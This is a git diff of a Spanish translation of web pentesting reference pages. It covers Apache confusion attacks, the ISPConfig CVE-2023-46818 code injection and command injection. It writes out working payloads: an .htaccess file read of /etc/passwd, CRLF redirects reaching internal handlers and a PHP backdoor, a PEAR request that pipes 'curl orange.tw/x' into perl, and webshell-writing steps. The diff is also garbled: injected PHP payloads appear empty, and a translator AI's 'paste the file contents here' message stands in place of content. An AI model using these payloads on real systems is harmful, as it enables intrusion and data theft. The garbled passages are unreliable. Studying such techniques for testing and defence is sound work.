No son archivos, pero probablemente "se verán" como tal. +- **JS files**: En la sección de spidering se mencionaron varias herramientas que pueden extraer paths de archivos JS. También sería interesante **monitorizar cada archivo JS encontrado**, ya que en algunas ocasiones, un cambio puede indicar que se ha introducido una vulnerabilidad en el código. Podrías usar por ejemplo [**JSMon**](https://github.com/robre/jsmon)**.** - También deberías comprobar los JS descubiertos con [**RetireJS**](https://github.com/retirejs/retire.js/) o [**JSHole**](https://github.com/callforpapers-source/jshole) para ver si son vulnerables. - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) -- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) +- **JsFuck deobfuscation** (javascript con caracteres:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` -- En varias ocasiones necesitarás **entender las expresiones regulares** usadas. Esto te será útil: [https://regex101.com/](https://regex101.com) o [https://pythonium.net/regex](https://pythonium.net/regex) -- También podrías **monitorizar los archivos donde se detectaron formularios**, ya que un cambio en los parámetros o la aparición de un nuevo formulario puede indicar una funcionalidad potencialmente vulnerable. +- En varias ocasiones necesitarás **entender las expresiones regulares** usadas. Esto será útil: [https://regex101.com/](https://regex101.com) o [https://pythonium.net/regex](https://pythonium.net/regex) +- También podrías **monitorizar los archivos donde se detectaron forms**, ya que un cambio en el parámetro o la aparición de un nuevo form puede indicar una nueva funcionalidad potencialmente vulnerable. **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** @@ -313,28 +312,28 @@ _Note that anytime a new directory is discovered during brute-forcing or spideri **502 Proxy Error** -Si alguna página **responde** con ese **código**, probablemente sea un **proxy mal configurado**. **Si envías una petición HTTP como: `GET https://google.com HTTP/1.1`** (con el header Host y otros headers comunes), el **proxy** intentará **acceder** a _**google.com**_ **y habrás encontrado un** SSRF. +Si alguna página **responde** con ese **código**, probablemente sea un **proxy mal configurado**. **Si envías una petición HTTP como: `GET https://google.com HTTP/1.1`** (con el header host y otros headers comunes), el **proxy** intentará **acceder** a _**google.com**_ **y habrás encontrado un** SSRF. **NTLM Authentication - Info disclosure** -Si el servidor que solicita autenticación es **Windows** o encuentras un login que pide tus **credenciales** (y pide **nombre** de **dominio**), puedes provocar una **divulgación de información**.\ -**Envía** el **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` y debido a cómo funciona la **autenticación NTLM**, el servidor responderá con información interna (versión de IIS, versión de Windows...) dentro del header "WWW-Authenticate".\ -Puedes **automatizar** esto usando el **nmap plugin** "_http-ntlm-info.nse_". +Si el servidor que solicita autenticación es **Windows** o encuentras un login solicitando tus **credentials** (y pidiendo el **domain** **name**), puedes provocar una **info disclosure**.\ +**Envía** el **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` y debido a cómo funciona la **NTLM authentication**, el servidor responderá con información interna (versión de IIS, versión de Windows...) dentro del header "WWW-Authenticate".\ +Puedes **automatizar** esto usando el plugin de **nmap** "_http-ntlm-info.nse_". **HTTP Redirect (CTF)** -Es posible **poner contenido** dentro de una **Redirección**. Este contenido **no se mostrará al usuario** (ya que el navegador ejecutará la redirección) pero algo podría estar **oculto** allí. +Es posible **colocar contenido** dentro de una **Redirection**. Este contenido **no se mostrará al usuario** (ya que el navegador ejecutará la redirección) pero algo podría estar **oculto** ahí. ### Web Vulnerabilities Checking -Now that a comprehensive enumeration of the web application has been performed it's time to check for a lot of possible vulnerabilities. You can find the checklist here: +Ahora que se ha realizado una enumeración exhaustiva de la aplicación web es momento de comprobar una gran cantidad de posibles vulnerabilidades. Puedes encontrar el checklist aquí: {{#ref}} ../../pentesting-web/web-vulnerabilities-methodology.md {{#endref}} -Find more info about web vulns in: +Más información sobre web vulns en: - [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist) - [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html) @@ -342,7 +341,7 @@ Find more info about web vulns in: ### Monitor Pages for changes -Puedes usar herramientas como [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) para monitorizar páginas y detectar modificaciones que pudieran introducir vulnerabilidades. +Puedes usar herramientas como [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) para monitorizar páginas en busca de modificaciones que puedan insertar vulnerabilidades. ### HackTricks Automatic Commands ``` diff --git a/src/network-services-pentesting/pentesting-web/apache.md b/src/network-services-pentesting/pentesting-web/apache.md index 86c9ac13a..3813e02b3 100644 --- a/src/network-services-pentesting/pentesting-web/apache.md +++ b/src/network-services-pentesting/pentesting-web/apache.md @@ -23,12 +23,12 @@ Linux ``` ## LFI via .htaccess ErrorDocument file provider (ap_expr) -Si puedes controlar el .htaccess de un directorio y AllowOverride incluye FileInfo para esa ruta, puedes convertir respuestas 404 en lecturas arbitrarias de archivos locales usando la función ap_expr file() dentro de ErrorDocument. +Si puedes controlar el .htaccess de un directorio y AllowOverride incluye FileInfo para esa ruta, puedes convertir las respuestas 404 en lecturas arbitrarias de archivos locales usando la función ap_expr file() dentro de ErrorDocument. - Requisitos: -- Apache 2.4 con expression parser (ap_expr) habilitado (por defecto en 2.4). +- Apache 2.4 con el analizador de expresiones (ap_expr) habilitado (por defecto en 2.4). - El vhost/dir debe permitir que .htaccess establezca ErrorDocument (AllowOverride FileInfo). -- El Apache worker user debe tener permisos de lectura sobre el archivo objetivo. +- El usuario worker de Apache debe tener permisos de lectura sobre el archivo objetivo. .htaccess payload: ```apache @@ -37,17 +37,17 @@ Header always set X-Debug-Tenant "demo" # On any 404 under this directory, return the contents of an absolute filesystem path ErrorDocument 404 %{file:/etc/passwd} ``` -Provóquelo solicitando cualquier ruta inexistente dentro de ese directorio, por ejemplo al abusar de userdir-style hosting: +Se desencadena solicitando cualquier ruta inexistente debajo de ese directorio, por ejemplo al abusar de userdir-style hosting: ```bash curl -s http://target/~user/does-not-exist | sed -n '1,20p' ``` Notas y consejos: - Solo funcionan rutas absolutas. El contenido se devuelve como el cuerpo de la respuesta para el handler 404. -- Los permisos de lectura efectivos son los del usuario de Apache (típicamente www-data/apache). No podrás leer /root/* o /etc/shadow en configuraciones por defecto. -- Incluso si .htaccess es root-owned, si el directorio padre es tenant-owned y permite rename, es posible que puedas renombrar el .htaccess original y subir tu propio reemplazo vía SFTP/FTP: +- Los permisos efectivos de lectura son los del usuario de Apache (típicamente www-data/apache). No podrás leer /root/* ni /etc/shadow en configuraciones por defecto. +- Incluso si .htaccess es root-owned, si el directorio padre es tenant-owned y permite renombrar, podrías renombrar el .htaccess original y subir tu propio reemplazo vía SFTP/FTP: - rename .htaccess .htaccess.bk - put your malicious .htaccess -- Úsalo para leer el código fuente de la aplicación bajo DocumentRoot o rutas de configuración vhost para recolectar secretos (DB creds, API keys, etc.). +- Usa esto para leer el código fuente de la aplicación bajo DocumentRoot o las rutas de configuración de vhost para extraer secretos (DB creds, API keys, etc.). ## Confusion Attack @@ -57,7 +57,7 @@ These types of attacks has been introduced and documented [**by Orange in this b #### Truncation -The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Pero en otras ocasiones esto será tratado como una ruta de archivo, lo que puede causar un problema. +The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Bur in other occasions this will be treated as file path, which would cause a problem. - **Path Truncation** @@ -74,9 +74,9 @@ curl http://server/user/orange curl http://server/user/orange%2Fsecret.yml%3F # the output of file `/var/user/orange/secret.yml` ``` -- **Asignación engañosa de RewriteFlag** +- **Mislead RewriteFlag Assignment** -En la siguiente regla de reescritura, siempre que la URL termine en .php será tratada y ejecutada como php. Por lo tanto, es posible enviar una URL que termine en .php después del carácter `?` mientras se carga en la ruta un archivo de tipo diferente (por ejemplo una imagen) con código php malicioso en su interior: +En la siguiente regla de reescritura, mientras la URL termine en .php será tratada y ejecutada como php. Por lo tanto, es posible enviar una URL que termine en .php después del carácter `?` mientras se carga en la ruta un tipo de archivo diferente (como una imagen) con código php malicioso en su interior: ```bash RewriteEngine On RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php] @@ -91,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php ``` #### **ACL Bypass** -Es posible acceder a archivos a los que el usuario no debería poder acceder, incluso si el acceso debería estar denegado con configuraciones como: +Es posible acceder a archivos a los que el usuario no debería poder acceder, incluso si el acceso debería denegarse con configuraciones como: ```xml AuthType Basic @@ -100,7 +100,7 @@ AuthUserFile "/etc/apache2/.htpasswd" Require valid-user ``` -Esto se debe a que, por defecto, PHP-FPM recibirá URLs que terminan en `.php`, como `http://server/admin.php%3Fooo.php`, y dado que PHP-FPM eliminará cualquier cosa después del carácter `?`, la URL anterior permitirá cargar `/admin.php` incluso si la regla previa lo prohibía. +Esto se debe a que, por defecto, PHP-FPM recibirá URLs que terminen en `.php`, como `http://server/admin.php%3Fooo.php`, y porque PHP-FPM eliminará todo lo que venga después del carácter `?`, la URL anterior permitirá cargar `/admin.php` incluso si la regla anterior lo prohibía. ### Confusión de DocumentRoot ```bash @@ -109,11 +109,11 @@ RewriteRule ^/html/(.*)$ /$1.html ``` Un dato curioso sobre Apache es que la reescritura anterior intentará acceder al archivo tanto desde el documentRoot como desde root. Así, una petición a `https://server/abouth.html` comprobará la existencia del archivo en `/var/www/html/about.html` y en `/about.html` en el sistema de archivos. Esto, básicamente, puede ser abusado para acceder a archivos del sistema de archivos. -#### **Server-Side Source Code Disclosure** +#### **Divulgación del código fuente del lado del servidor** -- **Disclose CGI Source Code** +- **Revelar el código fuente de CGI** -Con solo añadir un %3F al final basta para leak the source code of a cgi module: +Con solo añadir un %3F al final es suficiente para leak el código fuente de un CGI module: ```bash curl http://server/cgi-bin/download.cgi # the processed result from download.cgi @@ -125,7 +125,7 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F ``` - **Divulgar PHP Source Code** -Si un servidor tiene distintos dominios y uno de ellos es un dominio estático, esto puede aprovecharse para recorrer el sistema de archivos y leak php code: +Si un servidor tiene diferentes dominios con uno de ellos siendo un dominio estático, esto puede ser abusado para recorrer el sistema de archivos y leak php code: ```bash # Leak the config.php file of the www.local domain from the static.local domain curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" @@ -133,7 +133,7 @@ curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" ``` #### **Local Gadgets Manipulation** -El principal problema con el ataque anterior es que, por defecto, la mayor parte del acceso al sistema de archivos será denegado como en Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115): +El principal problema con el ataque anterior es que, por defecto, la mayoría del acceso al sistema de archivos será denegado, como muestra la [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) de Apache HTTP Server: ```xml AllowOverride None @@ -151,7 +151,7 @@ Por lo tanto, sería posible **abusar de archivos ubicados dentro de `/usr/share **Local Gadget to Information Disclosure** -- **Apache HTTP Server** con **websocketd** puede exponer el script **dump-env.php** en **/usr/share/doc/websocketd/examples/php/**, que puede leak variables de entorno sensibles. +- **Apache HTTP Server** con **websocketd** puede exponer el script **dump-env.php** en **/usr/share/doc/websocketd/examples/php/**, el cual puede leak variables de entorno sensibles. - Servidores con **Nginx** o **Jetty** podrían exponer información sensible de aplicaciones web (p. ej., **web.xml**) a través de sus raíces web por defecto ubicadas bajo **/usr/share**: - **/usr/share/nginx/html/** - **/usr/share/jetty9/etc/** @@ -159,22 +159,22 @@ Por lo tanto, sería posible **abusar de archivos ubicados dentro de `/usr/share **Local Gadget to XSS** -- En Ubuntu Desktop con **LibreOffice instalado**, explotar la función de cambio de idioma de los archivos de ayuda puede conducir a **Cross-Site Scripting (XSS)**. Manipular la URL en **/usr/share/libreoffice/help/help.html** puede redirigir a páginas maliciosas o versiones antiguas mediante **unsafe RewriteRule**. +- En Ubuntu Desktop con **LibreOffice instalado**, explotar la función de cambio de idioma de los archivos de ayuda puede llevar a **Cross-Site Scripting (XSS)**. Manipular la URL en **/usr/share/libreoffice/help/help.html** puede redirigir a páginas maliciosas o a versiones anteriores mediante una **RewriteRule insegura**. **Local Gadget to LFI** -- Si PHP o ciertos paquetes front-end como **JpGraph** o **jQuery-jFeed** están instalados, sus archivos pueden ser explotados para leer archivos sensibles como **/etc/passwd**: +- Si PHP o ciertos paquetes de front-end como **JpGraph** o **jQuery-jFeed** están instalados, sus archivos pueden ser explotados para leer archivos sensibles como **/etc/passwd**: - **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php** - **/usr/share/javascript/jquery-jfeed/proxy.php** - **/usr/share/moodle/mod/assignment/type/wims/getcsv.php** **Local Gadget to SSRF** -- Utilizando **MagpieRSS's magpie_debug.php** en **/usr/share/php/magpierss/scripts/magpie_debug.php**, se puede crear fácilmente una vulnerabilidad SSRF, proporcionando una puerta a exploits adicionales. +- Utilizando **magpie_debug.php** de MagpieRSS en **/usr/share/php/magpierss/scripts/magpie_debug.php**, se puede crear fácilmente una vulnerabilidad SSRF, proporcionando una puerta a exploits adicionales. **Local Gadget to RCE** -- Las oportunidades para **Remote Code Execution (RCE)** son amplias, con instalaciones vulnerables como una **PHPUnit** desactualizada o **phpLiteAdmin**. Estas pueden explotarse para ejecutar código arbitrario, demostrando el extenso potencial de la manipulación de local gadgets. +- Las oportunidades para **Remote Code Execution (RCE)** son numerosas, con instalaciones vulnerables como versiones desactualizadas de **PHPUnit** o **phpLiteAdmin**. Estas pueden explotarse para ejecutar código arbitrario, demostrando el amplio potencial de la manipulación de gadgets locales. #### **Jailbreak from Local Gadgets** @@ -188,24 +188,24 @@ También es posible hacer jailbreak desde las carpetas permitidas siguiendo syml Además, abusando de symlinks fue posible obtener **RCE en Redmine.** -### Handler Confusion +### Confusión de handlers -Este ataque explota la superposición en la funcionalidad entre las directivas `AddHandler` y `AddType`, que ambas pueden usarse para **habilitar el procesamiento de PHP**. Originalmente, estas directivas afectaban campos diferentes (`r->handler` y `r->content_type` respectivamente) en la estructura interna del servidor. Sin embargo, debido a código legado, Apache maneja estas directivas indistintamente bajo ciertas condiciones, convirtiendo `r->content_type` en `r->handler` si el primero está establecido y el último no. +Este ataque explota la superposición de funcionalidad entre las directivas `AddHandler` y `AddType`, las cuales pueden usarse para **habilitar el procesamiento de PHP**. Originalmente, estas directivas afectaban campos diferentes (`r->handler` y `r->content_type`, respectivamente) en la estructura interna del servidor. Sin embargo, debido a código legado, Apache maneja estas directivas de forma intercambiable bajo ciertas condiciones, convirtiendo `r->content_type` en `r->handler` si el primero está establecido y el segundo no lo está. -Además, en Apache HTTP Server (`server/config.c#L420`), si `r->handler` está vacío antes de ejecutar `ap_run_handler()`, el servidor **usa `r->content_type` como handler**, haciendo efectivamente que `AddType` y `AddHandler` sean idénticos en efecto. +Además, en el Apache HTTP Server (`server/config.c#L420`), si `r->handler` está vacío antes de ejecutar `ap_run_handler()`, el servidor **usa `r->content_type` como handler**, haciendo efectivamente que `AddType` y `AddHandler` tengan el mismo efecto. #### **Overwrite Handler to Disclose PHP Source Code** -En [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), se presentó una vulnerabilidad donde un `Content-Length` incorrecto enviado por un cliente puede hacer que Apache, por error, **devuelva el código fuente PHP**. Esto se debía a un problema en el manejo de errores con ModSecurity y el Apache Portable Runtime (APR), donde una doble respuesta conduce a sobrescribir `r->content_type` a `text/html`.\ -Debido a que ModSecurity no maneja correctamente los valores de retorno, devolvería el código PHP y no lo interpretaría. +En [**esta charla**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), se presentó una vulnerabilidad en la que un `Content-Length` incorrecto enviado por un cliente puede hacer que Apache, por error, **devuelva el código fuente PHP**. Esto se debía a un problema de manejo de errores con ModSecurity y el Apache Portable Runtime (APR), donde una respuesta doble conduce a sobrescribir `r->content_type` a `text/html`.\ +Porque ModSecurity no maneja correctamente los valores de retorno, devolvería el código PHP y no lo interpretaría. #### **Overwrite Handler to XXXX** -TODO: Orange aún no ha divulgado esta vulnerabilidad +TODO: Orange no ha divulgado esta vulnerabilidad aún ### **Invoke Arbitrary Handlers** -Si un atacante puede controlar la cabecera **`Content-Type`** en una respuesta del servidor, podrá **invocar handlers arbitrarios de módulos**. Sin embargo, para cuando el atacante controle esto, la mayor parte del procesamiento de la request ya se habrá realizado. No obstante, es posible **reiniciar el proceso de la request abusando de la cabecera `Location`** porque si el `Status` devuelto es 200 y la cabecera `Location` comienza con `/`, la respuesta se trata como una Server-Side Redirection y debe ser procesada +Si un atacante puede controlar la cabecera **`Content-Type`** en la respuesta del servidor, podrá **invocar handlers de módulos arbitrarios**. Sin embargo, para cuando el atacante controla esto, la mayor parte del procesamiento de la petición ya habrá ocurrido. No obstante, es posible **reiniciar el proceso de la petición abusando de la cabecera `Location`** porque si el **r**eturned `Status` es 200 y la cabecera `Location` comienza con `/`, la respuesta se trata como una Server-Side Redirection y debe ser procesada According to [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specification about CGI) in [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) defines a Local Redirect Response behavior: @@ -213,26 +213,26 @@ According to [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specific Por lo tanto, para realizar este ataque se necesita una de las siguientes vulnerabilidades: -- CRLF Injection in the CGI response headers -- SSRF with complete control of the response headers +- CRLF Injection en las cabeceras de respuesta CGI +- SSRF con control completo de las cabeceras de respuesta #### **Arbitrary Handler to Information Disclosure** -Por ejemplo `/server-status` debería ser accesible solo localmente: +Por ejemplo, `/server-status` solo debería ser accesible localmente: ```xml SetHandler server-status Require local ``` -Es posible acceder a él estableciendo el `Content-Type` en `server-status` y la cabecera Location que comience por `/` +Es posible acceder a él estableciendo el `Content-Type` en `server-status` y la cabecera Location empezando por `/`. ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo %0d%0a Content-Type:server-status %0d%0a %0d%0a ``` -#### **Handler arbitrario a SSRF completa** +#### **Manejador Arbitrario a SSRF completo** Redirigiendo a `mod_proxy` para acceder a cualquier protocolo en cualquier URL: ``` @@ -243,11 +243,11 @@ http://example.com/%3F %0d%0a %0d%0a ``` -Sin embargo, se añade la cabecera `X-Forwarded-For`, lo que impide el acceso a los endpoints de metadatos en la nube. +Sin embargo, se añade el encabezado `X-Forwarded-For`, impidiendo el acceso a los puntos finales de metadatos de la nube. -#### **Manejador arbitrario para acceder al Unix Domain Socket local** +#### **Handler arbitrario para acceder al socket de dominio Unix local** -Accede al Unix Domain Socket local de PHP-FPM para ejecutar un PHP backdoor ubicado en `/tmp/`: +Accede al socket de dominio Unix local de PHP-FPM para ejecutar un backdoor PHP ubicado en `/tmp/`: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a @@ -256,7 +256,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0 ``` #### **Arbitrary Handler to RCE** -La imagen oficial de [PHP Docker](https://hub.docker.com/_/php) incluye PEAR (`Pearcmd.php`), una herramienta de línea de comandos para la gestión de paquetes de PHP, que puede ser abusada para obtener RCE: +La imagen oficial de [PHP Docker](https://hub.docker.com/_/php) incluye PEAR (`Pearcmd.php`), una herramienta de gestión de paquetes de PHP desde la línea de comandos, que puede ser abusada para obtener RCE: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS} @@ -265,13 +265,13 @@ orange.tw/x|perl Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a %0d%0a ``` -Consulta [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), escrito por [Phith0n](https://x.com/phithon_xg) para conocer los detalles de esta técnica. +Consulta [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), escrito por [Phith0n](https://x.com/phithon_xg) para los detalles de esta técnica. ## Referencias - [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) -- [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html) -- [Apache 2.4 Expressions and functions (file:)](https://httpd.apache.org/docs/2.4/expr.html) -- [HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse](https://0xdf.gitlab.io/2025/08/12/htb-zero.html) +- [Apache 2.4 Respuestas de error personalizadas (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html) +- [Apache 2.4 Expresiones y funciones (file:)](https://httpd.apache.org/docs/2.4/expr.html) +- [HTB Zero write-up: .htaccess ErrorDocument LFI y abuso de cron pgrep](https://0xdf.gitlab.io/2025/08/12/htb-zero.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/ispconfig.md b/src/network-services-pentesting/pentesting-web/ispconfig.md index 27213e961..4927135c2 100644 --- a/src/network-services-pentesting/pentesting-web/ispconfig.md +++ b/src/network-services-pentesting/pentesting-web/ispconfig.md @@ -2,38 +2,38 @@ {{#include ../../banners/hacktricks-training.md}} -## Visión general +## Descripción general ISPConfig es un panel de control de hosting de código abierto. Las versiones antiguas 3.2.x incluían una función de editor de archivos de idioma que, cuando estaba habilitada para el superadministrador, permitía la inyección arbitraria de código PHP mediante un registro de traducción malformado. Esto puede dar lugar a RCE en el contexto del servidor web y, dependiendo de cómo se ejecute PHP, a escalada de privilegios. -Rutas predeterminadas importantes: +Rutas predeterminadas clave: - La raíz web suele estar en `/var/www/ispconfig` cuando se sirve con `php -S` o vía Apache/nginx. -- La interfaz de administración es accesible en el vhost HTTP(S) (a veces ligada solo a localhost; usa un reenvío de puertos SSH si es necesario). +- La UI de administración es accesible en el vhost HTTP(S) (a veces enlazado solo a localhost; use SSH port-forward si es necesario). -Consejo: Si el panel está ligado localmente (p. ej. `127.0.0.1:8080`), reenvíalo: +Consejo: Si el panel está enlazado localmente (p. ej. `127.0.0.1:8080`), haz un port-forward: ```bash ssh -L 9001:127.0.0.1:8080 user@target # then browse http://127.0.0.1:9001 ``` ## Language editor PHP code injection (CVE-2023-46818) -- Afectado: ISPConfig hasta 3.2.11 (corregido en 3.2.11p1) -- Precondiciones: -- Iniciar sesión con la cuenta superadmin incorporada `admin` (según el proveedor, otros roles no se ven afectados) -- El editor de idioma debe estar habilitado: `admin_allow_langedit=yes` en `/usr/local/ispconfig/security/security_settings.ini` -- Impacto: Un administrador autenticado puede inyectar PHP arbitrario que se escribe en un archivo de idioma y es ejecutado por la aplicación, logrando RCE en el contexto web +- Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1) +- Preconditions: +- Login as the built-in superadmin account `admin` (other roles are not affected according to the vendor) +- Language editor must be enabled: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini` +- Impact: Authenticated admin can inject arbitrary PHP that is written into a language file and executed by the application, achieving RCE in the web context -Referencias: Entrada NVD CVE-2023-46818 y enlace del aviso del proveedor en la sección Referencias más abajo. +Referencias: entrada NVD CVE-2023-46818 y enlace advisory del proveedor en la sección References más abajo. ### Flujo de explotación manual 1) Abrir/crear un archivo de idioma para obtener tokens CSRF -Enviar un primer POST para inicializar el formulario y parsear los campos CSRF desde la respuesta HTML (`csrf_id`, `csrf_key`). Ruta de ejemplo: `/admin/language_edit.php`. +Enviar un primer POST para inicializar el formulario y parsear los campos CSRF de la respuesta HTML (`csrf_id`, `csrf_key`). Ruta de ejemplo: `/admin/language_edit.php`. 2) Inyectar PHP vía records[] y guardar -Enviar un segundo POST que incluya los campos CSRF y un registro de traducción malicioso. Pruebas mínimas de ejecución de comandos: +Enviar un segundo POST incluyendo los campos CSRF y un registro de traducción malicioso. Sondas mínimas para ejecución de comandos: ```http POST /admin/language_edit.php HTTP/1.1 Host: 127.0.0.1:9001 @@ -46,39 +46,39 @@ Prueba fuera de banda (observar ICMP): ```http records[]= ``` -3) Escribir archivos y colocar un webshell +3) Escribir archivos y dejar un webshell -Usa `file_put_contents` para crear un archivo en una ruta accesible desde la web (por ejemplo, `admin/`): +Usa `file_put_contents` para crear un archivo en una ruta accesible vía web (por ejemplo, `admin/`): ```http records[]= ``` -Luego escribe un webshell simple usando base64 para evitar caracteres no válidos en el cuerpo POST: +A continuación, escribe un simple webshell usando base64 para evitar caracteres no válidos en el POST body: ```http records[]= ``` -No tengo acceso directo a tu archivo. Por favor pega aquí el contenido de src/network-services-pentesting/pentesting-web/ispconfig.md que quieres que traduzca. Mantendré exactamente el mismo markdown/HTML y traduciré solo el texto relevante según tus instrucciones. +No veo el contenido del archivo. Por favor pega aquí el contenido de src/network-services-pentesting/pentesting-web/ispconfig.md (o súbelo) y lo traduciré al español manteniendo exactamente la misma sintaxis markdown/HTML y las excepciones indicadas. ```bash curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id' ``` -Si PHP se ejecuta como root (p. ej., vía `php -S 127.0.0.1:8080` iniciado por root), esto produce root RCE inmediato. De lo contrario, obtienes code execution como el usuario del servidor web. +Si PHP se ejecuta como root (p. ej., vía `php -S 127.0.0.1:8080` iniciado por root), esto produce RCE root inmediato. De lo contrario, obtienes ejecución de código como el usuario del servidor web. ### Python PoC -Un exploit listo para usar automatiza el token handling y payload delivery: -- https://github.com/bipbopbup/CVE-2023-46818-python-exploit +Un exploit listo para usar automatiza token handling y payload delivery: +- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit) Ejemplo de ejecución: ```bash python3 cve-2023-46818.py http://127.0.0.1:9001 admin ``` -### Endurecimiento +### Hardening - Actualizar a 3.2.11p1 o posterior -- Desactivar el editor de idiomas salvo que sea estrictamente necesario: +- Desactivar el editor de idiomas a menos que sea estrictamente necesario: ``` admin_allow_langedit=no ``` -- Evitar ejecutar el panel como root; configurar PHP-FPM o el servidor web para reducir privilegios +- Evita ejecutar el panel como root; configura PHP-FPM o el servidor web para que use privilegios reducidos - Imponer autenticación fuerte para la cuenta integrada `admin` ## Referencias diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index cb1b00a66..16a58efb9 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -2,13 +2,13 @@ {{#include ../banners/hacktricks-training.md}} -## ¿Qué es command Injection? +## What is command Injection? -Una **command injection** permite la ejecución de comandos arbitrarios del sistema operativo por parte de un atacante en el servidor que aloja una aplicación. Como resultado, la aplicación y todos sus datos pueden verse completamente comprometidos. La ejecución de estos comandos típicamente permite al atacante obtener acceso o control no autorizado sobre el entorno de la aplicación y el sistema subyacente. +Una **command injection** permite la ejecución de comandos arbitrarios del sistema operativo por parte de un atacante en el servidor que aloja una aplicación. Como resultado, la aplicación y todos sus datos pueden verse completamente comprometidos. La ejecución de estos comandos típicamente permite al atacante obtener acceso no autorizado o control sobre el entorno de la aplicación y el sistema subyacente. ### Contexto -Dependiendo de **dónde se inyecte tu entrada**, puede que necesites **terminar el contexto entrecomillado** (usando `"` o `'`) antes de los comandos. +Dependiendo de **dónde se esté inyectando tu entrada** puede que necesites **terminar el contexto entre comillas** (usando `"` o `'`) antes de los comandos. ## Command Injection/Execution ```bash @@ -30,10 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful > /var/www/html/out.txt #Try to redirect the output to a file < /etc/passwd #Try to send some input to the command ``` -### **Limitación** Bypasses - -Si estás intentando ejecutar **comandos arbitrarios dentro de una máquina linux** te interesará leer acerca de estos **Bypasses:** +### **Limition** Bypasses +Si estás intentando ejecutar **comandos arbitrarios en una máquina linux** te interesará leer sobre estos **Bypasses:** {{#ref}} ../linux-hardening/bypass-bash-restrictions/ @@ -47,7 +46,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ``` ### Parámetros -Aquí están los 25 parámetros principales que podrían ser vulnerables a code injection y a vulnerabilidades RCE similares (de [link](https://twitter.com/trbughunters/status/1283133356922884096)): +Aquí están los 25 principales parámetros que podrían ser vulnerables a code injection y vulnerabilidades RCE similares (de [link](https://twitter.com/trbughunters/status/1283133356922884096)): ``` ?cmd={payload} ?exec={payload} @@ -75,9 +74,9 @@ Aquí están los 25 parámetros principales que podrían ser vulnerables a code ?run={payload} ?print={payload} ``` -### Exfiltración de datos 